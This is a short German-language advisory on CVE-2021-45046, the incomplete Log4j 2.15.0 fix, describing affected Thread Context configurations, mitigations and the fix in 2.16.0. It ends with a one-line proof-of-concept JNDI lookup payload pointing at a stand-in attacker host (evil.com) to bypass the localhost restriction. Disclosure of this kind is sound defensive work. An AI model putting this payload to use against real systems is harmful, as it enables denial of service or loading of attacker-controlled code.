
Log4j 2.15.0 Privilegieneskalation -- CVE-2021-45046

Es wurde festgestellt, dass der Fix zur Behebung von CVE-2021-44228 in Apache Log4j 2.15.0 in bestimmten nicht standardmäßigen Konfigurationen unvollständig war. Dies könnte Angreifern, die Kontrolle über die Thread Context Map (MDC)-Eingabedaten haben, wenn die Logging-Konfiguration ein nicht standardmäßiges Pattern Layout mit entweder einer Context Lookup (z.B. $${ctx:loginId}) oder einem Thread Context Map-Muster (%X, %mdc oder %MDC) verwendet, ermöglichen, bösartige Eingabedaten unter Verwendung eines JNDI-Lookup-Musters zu erstellen, was zu einem Denial-of-Service (DOS)-Angriff führt. Log4j 2.15.0 schränkt JNDI-LDAP-Lookups standardmäßig auf localhost ein. Beachten Sie, dass frühere Maßnahmen zur Abschwächung, wie das Setzen der Systemeigenschaft log4j2.noFormatMsgLookup auf true, diese spezifische Sicherheitslücke NICHT entschärfen. Log4j 2.16.0 behebt dieses Problem, indem die Unterstützung für Nachrichten-Lookup-Muster entfernt und die JNDI-Funktionalität standardmäßig deaktiviert wird. Dieses Problem kann in früheren Versionen (<2.16.0) durch Entfernen der JndiLookup-Klasse aus dem Klassenpfad entschärft werden (Beispiel: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
Poc
${jndi:ldap://127.0.0.1#evil[.]com:1389/a}